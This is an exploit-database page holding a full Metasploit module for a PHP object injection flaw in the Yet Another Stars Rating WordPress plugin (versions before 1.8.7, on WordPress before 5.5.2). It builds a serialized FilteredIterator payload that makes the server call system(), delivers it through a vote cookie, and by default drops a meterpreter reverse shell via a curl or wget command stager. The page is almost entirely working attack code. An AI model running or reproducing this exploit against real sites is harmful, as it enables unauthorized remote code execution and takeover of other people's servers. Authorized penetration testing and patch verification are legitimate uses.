WordPress Yet Another Stars Rating PHP Object Injection

Credit: gx1
Risk: High
Local: No
Remote: Yes

class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress PHP Object Injection in Yet Another Stars Rating plugin < 1.8.7', 'Description' => %q{ This module exploits Wordpress PHP Object Injection in Yet Another Stars Rating plugin < 1.8.7. The vulnerability is exploitable if there is the Wordpress site uses a 'yasr_visitor_votes' shortcode in a page (authenticated or not). This exploit uses the Requests_Utility_FilteredIterator as WP core class to exploit deserialization. The class allows to send an array and a callback in the constructur, and it will be called in every foreach loop. As the vulnerable module uses the unserialized cookie for a foreach loop, it is possible to exploit this behaviour to exploit the vulnerability. Wordpress disable deserialization for Requests_Utility_FilteredIterator in Wordpress >= 5.5.2, so the exploit only works for Wordpress versions < 5.5.2. Tested on: - Wordpress 5.4.1, - Yet Another Stars rating plugin = 1.8.6 - php 5.6 (in php7 you should customize the serialization payload to try the exploitation) }, 'Author' => [ 'Paul Dannewitz', # Vulnerability Discovery 'gx1 <g.per45[at]gmail.com>', # Exploit Developer ], 'Platform' => 'linux', 'Arch' => ARCH_PHP, 'Targets' => [['WordPress', {}]], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' }, 'CmdStagerFlavor' => ['curl', 'wget'], 'References' => [ ['URL', 'https://wpscan.com/vulnerability/9207'], ['URL', 'https://dannewitz.ninja/posts/php-unserialize-object-injection-yet-another-stars-rating-wordpress'], ['URL', 'https://www.cybersecurity-help.cz/vulnerabilities/17273/'], ['URL', 'https://cybersecsi.com/study-php-unserialize-object-injection-in-yet-another-stars-rating-plugin-by-using-docker-security-playground/'] # Exploit development explanation ], 'License' => MSF_LICENSE )) register_options([ OptString.new('PATH_CONTAINING_YASR_SHORTCODE', [true, 'The path containing yasr_visitor_votes shortcode', '/'] ), OptBool.new('REQUIRE_LOGIN', [true, 'If you need login to view tha path containing yasr shortcode', false] ), OptString.new('USERNAME', [false, 'The Wordpress username to authenticate with'] ), OptString.new('PASSWORD', [false, 'The Wordpress username to authenticate with'] ) ]) register_advanced_options([ OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp']) ]) end def yasr_path return datastore['PATH_CONTAINING_YASR_SHORTCODE'] end def cmdstager_path @cmdstager_path ||= "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}" end def username return datastore['USERNAME'] end def password return datastore['PASSWORD'] end def require_login return datastore['REQUIRE_LOGIN'] end def check if not wordpress_and_online? print_error("#{target_uri} does not seem to be WordPress site") return end version = wordpress_version if not version.nil? print_status("#{target_uri} - WordPress Version #{version} detected") if version if Gem::Version.new(version) >= Gem::Version.new("5.5.2") print_bad("Version higher or equal to 5.5.2") return CheckCode::Safe end return check_plugin_version_from_readme('yet-another-stars-rating', '1.8.7') end return CheckCode::Unknown end def serialized_payload(p) return "C%3A33%3A%22Requests_Utility_FilteredIterator%22%3A#{p.length + 63 + p.length.digits.length }%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A#{p.length}%3A%22#{URI.encode_www_form_component(p)}%22%3B%7D%3Bm%3Aa%3A1%3A%7Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A6%3A%22system%22%3B%7D%7D" end def exploit fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online? if require_login print_status("Authentication required, try to login") cookie = wordpress_login(username, password) if cookie print_status("Login successed") else fail_with('Authentication failed', "Unable to login") end else # No login: empty cookie cookie = "" end print_status("Run exploit") print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager") @cmdstager = generate_cmdstager( temp: datastore['WritableDir'], file: File.basename(cmdstager_path) ).join(';') register_file_for_cleanup(cmdstager_path) sp = serialized_payload(@cmdstager) print_status("Send serialized payload: #{sp}") cookie = "#{cookie} yasr_visitor_vote_cookie=#{sp}" res = send_request_cgi({ 'method' => 'GET', 'uri' => yasr_path, 'cookie' => cookie}, 1) end end

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com


Back to Top